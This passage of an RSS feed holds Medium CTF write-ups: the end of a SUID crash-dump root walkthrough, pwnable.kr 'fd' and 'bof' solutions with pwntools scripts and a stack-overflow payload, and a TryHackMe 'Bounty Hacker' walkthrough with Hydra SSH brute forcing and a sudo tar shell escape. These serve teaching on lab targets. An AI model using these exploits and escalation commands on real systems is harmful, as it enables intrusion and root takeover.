add our keys to the server for easy SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/0*TueHuPb_7P1AkWy_.png" /></figure><p>We received a 200 OK, meaning it worked. Yaay</p><h3>Gaining user</h3><p>Now we can SSH to the machine and get that user hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UDjiy9J0Yp-hEjwc.png" /></figure><p>Now it’s time to root this machine.</p><h3>Privilege Escalation</h3><p>Trying linpeas and linEnum, they failed, so I tried exploiting SUID binaries find / -type f -perm -u=s 2&gt;/dev/null.<br>We find this interesting file /opt/count. looking at the dir, we find that we are also provided with a source code.</p><pre>dasith@secret:/opt$ ls -la<br>total 56<br>drwxr-xr-x 2 root root 4096 Oct 7 10:06 .<br>drwxr-xr-x 20 root root 4096 Oct 7 15:01 ..<br>-rw-r--r-- 1 root root 3736 Oct 7 10:01 code.c<br>-rw-r--r-- 1 root root 16384 Oct 7 10:01 .code.c.swp<br>-rwsr-xr-x 1 root root 17824 Oct 7 10:03 count<br>-rw-r--r-- 1 root root 4622 Oct 7 10:04 valgrind.log</pre><p>Looking at the binary with some dynamic analysis, we see that when run, it asks for a directory name and displays the content in it. So I provided it with /root/root.txt as shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/0*1YtA6E4rDqUZZLOY.png" /></figure><p>I decide to crash the program and try to read the crash file which most of the time is saved in /var/crash in Linux distro. May it will display the content of the file in /root/root.txt.Reference <a href="https://linux-audit.com/understand-and-configure-core-dumps-work-on-linux/">here</a>. Let’s GO!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/0*by7mvh9rqDvO8MsD.png" /></figure><p>It’s now time we look at the /var/crash dir and see what we got.<br>we use the apport-unpack command to unpack and dump the content of the crash file in the /tmp/crash-report directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/0*j207rMzkov_gG1A-.png" /></figure><h3>Getting root</h3><p>We can use strings to see the contents in CoreDump where we believe that our root hash is. Taking a close look, we find our root hash in the strings results. I’ll exclude it in the screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/0*4_RN0XUXvsVRo6BL.png" /></figure><p>we submit the hash and</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*mrJynsFYI0I9e8Yd.png" /></figure><p>yaay!!!</p><figure><img alt="https://www.buymeacoffee.com/k0r3s" src="https://cdn-images-1.medium.com/max/170/0*NrpTPAQveiJwEqOG.png" /><figcaption><a href="https://www.buymeacoffee.com/k0r3s">https://www.buymeacoffee.com/k0r3s</a></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=71d7a113f7f9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PWNABLE.KR fd writeup]]></title>
            <link>https://medium.com/@0xAckerMan/pwnable-kr-fd-writeup-83f3585a3b25?source=rss-84e7a8c689d------2</link>
            <guid isPermaLink="false">https://medium.com/p/83f3585a3b25</guid>
            <category><![CDATA[file-descriptor]]></category>
            <category><![CDATA[pwntools]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[pwnable]]></category>
            <dc:creator><![CDATA[AckerMan]]></dc:creator>
            <pubDate>Mon, 16 May 2022 08:06:41 GMT</pubDate>
            <atom:updated>2022-05-16T08:06:41.711Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*8bNbhHmVmXlHAupOkBjmQg.png" /></figure><h3>Challenge Description</h3><pre>Mommy! what is a file descriptor in Linux?<br>ssh fd@pwnable.kr -p2222 (pw:guest)</pre><p>We can see that we are provided with a ssh login and some hints for the challenge.</p><h3>Understanding File Descriptors</h3><p><a href="https://www.computerhope.com/jargon/f/file-descriptor.htm">File descriptors</a> are a number that uniquely identifies an open file in a computer Operating System.<br>In C, file descriptors are represented as integers as follows:</p><ul><li>stdin is represented with a 0</li><li>stdout is represented as 1</li><li>stderr is represented as 2<br>So basically, when a program asks for an argument when you run it, that is stdin. When it provides an output, then that is stdout. When the program gives back an argument then that is stderr</li></ul><p>Let&#39;s now look at our challenge by “sshing” into the machine.<br>we can see that we are provided with 3 files to work with. The binary fd, the source code fd.c and a flag file flag.</p><pre>fd@pwnable:~$ ls<br>fd fd.c flag<br>fd@pwnable:~$</pre><p>Trying to read the flag with cat flag, we are prompted with Permission denied. On the other hand, runing the fd binary, it asks for a number as an argument. Passing 1234 as our argument, we are told learn about Linux file IO. The only option remaining now is to try and analyze the source code, and find what is expected of us.</p><h3>code analysis</h3><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br>char buf[32];<br>int main(int argc, char* argv[], char* envp[]){<br>if(argc&lt;2){<br>printf(&quot;pass argv[1] a number\n&quot;);<br>return 0;<br>}<br>int fd = atoi( argv[1] ) - 0x1234;<br>int len = 0;<br>len = read(fd, buf, 32);<br>if(!strcmp(&quot;LETMEWIN\n&quot;, buf)){<br>printf(&quot;good job :)\n&quot;);<br>system(&quot;/bin/cat flag&quot;);<br>exit(0);<br>}<br>printf(&quot;learn about Linux file IO\n&quot;);<br>return 0;</pre><pre>}</pre><h3>Breaking down the code</h3><p>First, we can see char buf[32]. What this does is, it assigns a buffer of 32 chars to the variable buf</p><pre>if(argc&lt;2){<br>printf(&quot;pass argv[1] a number\n&quot;);</pre><p>Now, this tries to check if we have passed an argument. If no argument is passed, then we get pass argv[1] a number</p><pre>int fd = atoi( argv[1] ) - 0x1234;</pre><p>We have a variable declared fd, which its value is atoi( argv[1] ) - 0x1234. It takes our argument then subtracts it with the integer value of 0x1234 which is equal to 4660 when converted.<br>The atoi() function stands for Ascii to Integer in C.</p><p>It then declares another integer len assigned a 0</p><pre>int len = 0;</pre><p>Then it takes the value of fd and puts it into buf</p><pre>len = read(fd, buf, 32);<br>if(!strcmp(&quot;LETMEWIN\n&quot;, buf)){<br>printf(&quot;good job :)\n&quot;);<br>system(&quot;/bin/cat flag&quot;);<br>exit(0);<br>}<br>printf(&quot;learn about Linux file IO\n&quot;);<br>return 0;</pre><p>We see it then takes fd and reads our input, and stores it in buf. The if statement, checks if the value of buf is equal to LETMEWIN. If yes, it prints good job :) and gives us the flag. Otherwise, it outputs learn about Linux file IO.</p><h3>Exploitation</h3><p>We can start by running the program with an argument and see its behavior.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/258/0*-yi4A6LICxu81tX2.png" /></figure><p>we see that we get learn about Linux file IO. This is basically because we didn’t get fd. What we understood about file descriptors, is that we have three basic ones ranging from 0, 1, 2.</p><p>The rule of fd, is for our argument to subtract 4660. So if we supply the same as our argument, fd will be 0 which is the fd representation of standard input in C.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/238/0*TIgTZY46joge-6LP.png" /></figure><p>We see after passing 4660 as the argument, we don’t get learn about Linux file IO. So we have bypassed the line len = read(fd, buf, 32);</p><p>By the state of the program, it looks like it is waiting to be supplied with an input. We could try now and input the string LETMEWIN to make it execute the if statement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/0*XDWZ1K4cxUX27fmR.png" /></figure><p>aaand, we successfully pwned it.</p><h3>Using Pwntools</h3><pre>#!/usr/bin/python3<br># author: k0r3s</pre><pre>from pwn import *</pre><pre>shell =ssh(&#39;fd&#39;,&#39;pwnable.kr&#39;, password=&#39;guest&#39;, port=2222)<br>process = shell.process(executable=&#39;./fd&#39;, argv=[&#39;fd&#39;,&#39;4660&#39;])<br>process.sendline(&#39;LETMEWIN&#39;)<br>print (process.recv())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/0*F-KmSkPqxM26imUQ.png" /></figure><p>we just pwned it again.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83f3585a3b25" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PWNABLE.KR BOF WALKTHROUGH]]></title>
            <link>https://medium.com/@0xAckerMan/pwnable-kr-bof-walkthrough-a8bc6d1f1d11?source=rss-84e7a8c689d------2</link>
            <guid isPermaLink="false">https://medium.com/p/a8bc6d1f1d11</guid>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[pwnable]]></category>
            <category><![CDATA[buffer-overflow]]></category>
            <dc:creator><![CDATA[AckerMan]]></dc:creator>
            <pubDate>Mon, 16 May 2022 07:55:07 GMT</pubDate>
            <atom:updated>2022-05-16T07:55:07.569Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*-q74NMBG3a5zNFEPEBV5ZA.png" /><figcaption>preview</figcaption></figure><h3>Introduction</h3><p>Hi there, here is my first article on binary exploitation. We had a responsibility as <a href="https://twitter.com/cyb0ts">cyb0ts</a> to research and write an article.<br>This challenge, as its name bof, focuses on exploiting buffer overflow by overwriting a variable then gaining a shell.<br>I&#39;ll look at the various ways, the manual way to exploit it and also using an automated script using <a href="https://docs.pwntools.com/en/stable/">pwntools</a>.</p><h3>Challenge Description</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/0*ZekddcOLWuGAqlSe.png" /></figure><p>As we can see, we are provided with the source code, the binary, and the port its running on</p><pre>┌─[r00t@parrot]─[~/Desktop/pwnable/bof]<br>└──╼ $ls -la<br>total 16<br>drwxr-xr-x 1 r00t r00t   28 Dec 14 15:20 .<br>drwxr-xr-x 1 r00t r00t    6 Dec 14 14:03 ..<br>-rw-r--r-- 1 r00t r00t 7348 May 16  2019 bof<br>-rw-r--r-- 1 r00t r00t  308 May 16  2019 bof.c</pre><p>we can take a look at the code in bof.c</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;stdlib.h&gt;<br>void func(int key){<br>	char overflowme[32];<br>	printf(&quot;overflow me : &quot;);<br>	gets(overflowme);	// smash me!<br>	if(key == 0xcafebabe){<br>		system(&quot;/bin/sh&quot;);<br>	}<br>	else{<br>		printf(&quot;Nah..\n&quot;);<br>	}<br>}<br>int main(int argc, char* argv[]){<br>	func(0xdeadbeef);<br>	return 0;<br>}</pre><h4>Code analysis</h4><p>We can see, that we have two functions main() and func().</p><p>Let&#39;s start analyzing the first function in our code, which is func()</p><pre>void func(int key){<br>	char overflowme[32];<br>	printf(&quot;overflow me : &quot;);<br>	gets(overflowme);	// smash me!<br>	if(key == 0xcafebabe){<br>		system(&quot;/bin/sh&quot;);<br>	}<br>	else{<br>		printf(&quot;Nah..\n&quot;);<br>	}</pre><p>We see that the function takes a variable called key. Then it starts by creating a variable overflowme that is sets a buffer of 32 chars. char overflowme[32]<br>The function the prints overflow me : at line 3 printf(&quot;overflow me : &quot;). It then takes our input and saves it in the variable<br>we also have an if statement. it checks the key variable and checks if it is equal to 0xcafebabe. If they are equal, it will spawn a shell system(&quot;/bin/sh&quot;); else if they are not equal it prints Nah.. printf(&quot;Nah..\n&quot;);</p><p>Lets now look at the main() function</p><pre>int main(int argc, char* argv[]){<br>	func(0xdeadbeef);<br>	return 0;<br>}</pre><p>As we can see, it&#39;s not a long one. So what it basically does, is to call the function func and giving it the value of 0xdeadbeef.</p><p>So what we have to do, is make the value of the key, equal to 0xcafebabe and not 0xdeadbeef so as to spawn the shell. Since we can control key, we will have to try and controll overflowme and cause an overflow that will also overwrite key.<br>overflowme is vulnerable to buffer overflow, since it uses gets() which is <a href="https://stackoverflow.com/questions/1694036/why-is-the-gets-function-so-dangerous-that-it-should-not-be-used">vulnerable</a>. It is also shown in the man page, that is should not be used.</p><blockquote><em>(below highlight in green)</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/0*RMoKOGo-7gzpCMTk.png" /></figure><h3>Examing the binary</h3><p>We can start by inputting a short in the binary</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/0*Rh8gb7V0u2hdsOum.png" /></figure><p>We can see the if statement is executed and we are prompted with a Nah…</p><p>Now I can try with a long input and see the results, if it will be overflowed or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/0*zxcgp_5rKB0KLKAO.png" /></figure><p>we can see it crashed</p><p>So the next move is to know where 0xdeadbeef is located in the stack. Then take a breakpoint before the main() function. We will use gdb here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/0*iZN2zNUV1XjN4jbv.png" /></figure><p>so I added a breakpoint at main break main so it can stop before entering the main function. Then now run the binary r.</p><p>So we can now disassemble func() to get the address of the compare function that compares key and 0xcafebabe add another breakpoint to so we can study the stack.<br>disas func</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/0*uBpBKJKDa09nGIZv.png" /></figure><p>We can see the cmpl instruction at 0x56555654 so we can set a breakpoint right before it.break *0x56555654. Then continue and wait for the breakpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/0*5jHhp969GsBJHuR0.png" /></figure><p>after it reached the breakpoint, I gave it a short input since we dont need it to crash. We need to overlook the stack during normal execution.x/50wx $esp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/0*Si55ZDqP1P3_w8rT.png" /></figure><p>We can see 0xdeadbeef appears in the first column after the address 0xffffcfc0. Our inputs is represented by the hex values 0x41414141 we see. Since 0x41414141==AAAA each hex, represent 4 char. We have 13 of them before reaching 0xdeadbeef.</p><p>With this in mind, we can now perfectly overwrite 0xdeadbeef. Since 1 hex represents 4 chars and they are 13 of them before reaching 0xdeadbeef, we can find the number of chars we need to reach it and overwrite it with 0xcafebabe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/145/0*Z0bWITqrNe5p6GGz.png" /></figure><p>We can see that we need 52 chars followed by 0xcafebabe to overwrite 0xdeadbeef</p><p>we can do this using a python script that will write the output in a file which we will then run it piped to the nc port python -c &quot;print &#39;A&#39; * 52 + &#39;\xbe\xba\xfe\xca&#39;&quot; &gt; ./ape <br>Then cat ape &amp;&amp; cat) | nc pwnable.kr 9000</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/0*yl1iagPJdh9V3Z02.png" /></figure><p>yeet!! we PWNED :-)</p><h3>Writing a pwntools exploit</h3><p>We will write our exploit step by step. first, we start by importing pwntoolsfrom pwn import *<br>we can now add a variable that holds our payload<br>payload= &#39;A&#39; * 52 + &#39;\xbe\xba\xfe\xca&#39; <br>we can also have another variable for our connection<br>shell = remote(&#39;pwnable.kr&#39; ,9000)<br>Now we can send our payload<br>shell.send(payload)<br>lastly, is to interact with the shell<br>shell.interactive()</p><p>The final exploit will look like:</p><pre>#!/usr/bin/python<br>from pwn import *</pre><pre>payload = &#39;A&#39; * 52 + &#39;\xbe\xba\xfe\xca&#39;<br>shell = remote(&#39;pwnable.kr&#39;,9000)<br>shell.send(payload)<br>shell.interactive()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/0*RkqjvzaW-HIgFwb7.png" /></figure><p>we PWNED it once more.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a8bc6d1f1d11" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bounty Hacker Walkthrough — Try Hack Me]]></title>
            <link>https://systemweakness.com/bounty-hacker-walkthrough-try-hack-me-4188bed9cae4?source=rss-84e7a8c689d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4188bed9cae4</guid>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ftp]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[AckerMan]]></dc:creator>
            <pubDate>Mon, 16 May 2022 07:36:29 GMT</pubDate>
            <atom:updated>2022-07-22T11:35:58.007Z</atom:updated>
            <content:encoded><![CDATA[<h4>Try Hack Me</h4><h3>Bounty Hacker Walkthrough</h3><p>You were boasting on and on about your elite hacker skills in the bar and a few Bounty Hunters decided they&#39;d take you up on claims! Prove your status is more than just a few glasses at the bar. I sense bell peppers &amp; beef in your future!</p><blockquote><strong><em>Task 1:</em></strong><em> Living up to the title.</em></blockquote><h3>Enumeration</h3><h4>Nmap</h4><pre>┌─[r00t@parrot]─[~/THM]<br>└──╼ $sudo nmap -sC -sT -sV -A 10.10.7.209<br>[sudo] password for r00t: <br>Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-14 16:03 EAT<br>Nmap scan report for 10.10.7.209<br>Host is up (0.25s latency).<br>Not shown: 967 filtered tcp ports (no-response), 30 closed tcp ports (conn-refused)<br>PORT   STATE SERVICE VERSION<br>21/tcp open  ftp     vsftpd 3.0.3<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>|_Can&#39;t get directory listing: TIMEOUT<br>| ftp-syst: <br>|   STAT: <br>| FTP server status:<br>|      Connected to ::ffff:10.18.119.138<br>|      Logged in as ftp<br>|      TYPE: ASCII<br>|      No session bandwidth limit<br>|      Session timeout in seconds is 300<br>|      Control connection is plain text<br>|      Data connections will be plain text<br>|      At session startup, client count was 2<br>|      vsFTPd 3.0.3 - secure, fast, stable<br>|_End of status<br>22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)<br>|   256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)<br>|_  256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>Aggressive OS guesses: HP P2000 G3 NAS device (91%), Infomir MAG-250 set-top box (90%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (90%), Ubiquiti AirOS 5.5.9 (90%), Linux 5.0 - 5.4 (89%), Linux 2.6.32 - 3.13 (89%), Linux 3.3 (89%), Linux 2.6.32 (89%), Linux 2.6.32 - 3.1 (89%), Linux 3.7 (89%)<br>No exact OS matches for host (test conditions non-ideal).<br>Network Distance: 2 hops<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>TRACEROUTE (using proto 1/icmp)<br>HOP RTT       ADDRESS<br>1   277.97 ms 10.18.0.1<br>2   279.74 ms 10.10.7.209</pre><pre>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 58.68 second</pre><p>We found three ports open that is ports 21, 22, and 80.</p><p>For us to answer Who wrote the task list? We will have to connect to the system using FTP since it allows anonymous connections.</p><blockquote><em>NB: FTP is used to transfer files in a network between the client and server</em></blockquote><h3>FTP Exploitation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*tDGQsVU8MqNR5DCoM-P3pQ.png" /></figure><p>As we can see, we have access to our FTP. We can try and see what file are here using ls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*2R6bipCnymyC1-Kfjo89og.png" /></figure><p>We see, that there are two files. To get them into my machine, I will use get filename</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*HqpaWXd75mt9Z6NgYGqlKw.png" /></figure><p>Now I can exit and read the files downloaded and try to answer the question Who wrote the task list?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*qYEpVR_q78XvID9sDjm7sA.png" /></figure><p>As we can see, the author is -lin</p><p>Next, we now answer the question What service can you bruteforce with the text file found?<br><strong>Ans:</strong> SSH</p><p>Next, is to get the user password. We will use Hydra, to brute-force the ssh creds and have the file locks.txt as our wordlist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zt5lnkMYAYj78SE--ZtIog.png" /></figure><h3>Gaining User</h3><p>We now have the user password, we can now ssh into the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*ZPrJzauQsceuptArJvHKdQ.png" /></figure><p>I have successfully connected to the target.</p><p>Now, I can have user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*VKzl86h42qRCbUoQMrZP4w.png" /></figure><h3>Privilege Escalation</h3><p>We can check what service we can run as super user using sudo -l</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*24b1nNYqrYE_0zdh.png" /></figure><p>Now as you can see, we have permission for tar as root.</p><p>After a little bit of research and googling, I found some exploit from <a href="https://gtfobins.github.io/gtfobins/tar/">gtfoibins</a> on tar escalation</p><p>sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh</p><p>Using the exploit as root, Boom! we get root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*I3W1xa_G0dMsOfnZ.png" /></figure><p>Now we can successfully get root.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yXUQ87IjHDhcrSkf.png" /></figure><p>Congratulations, finally we solved the lab, and thank you so much for your time, if you liked this write-up and you feel it’s helpful then please share it with your friends.<br>Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4188bed9cae4" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/bounty-hacker-walkthrough-try-hack-me-4188bed9cae4">Bounty Hacker Walkthrough — Try Hack Me</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>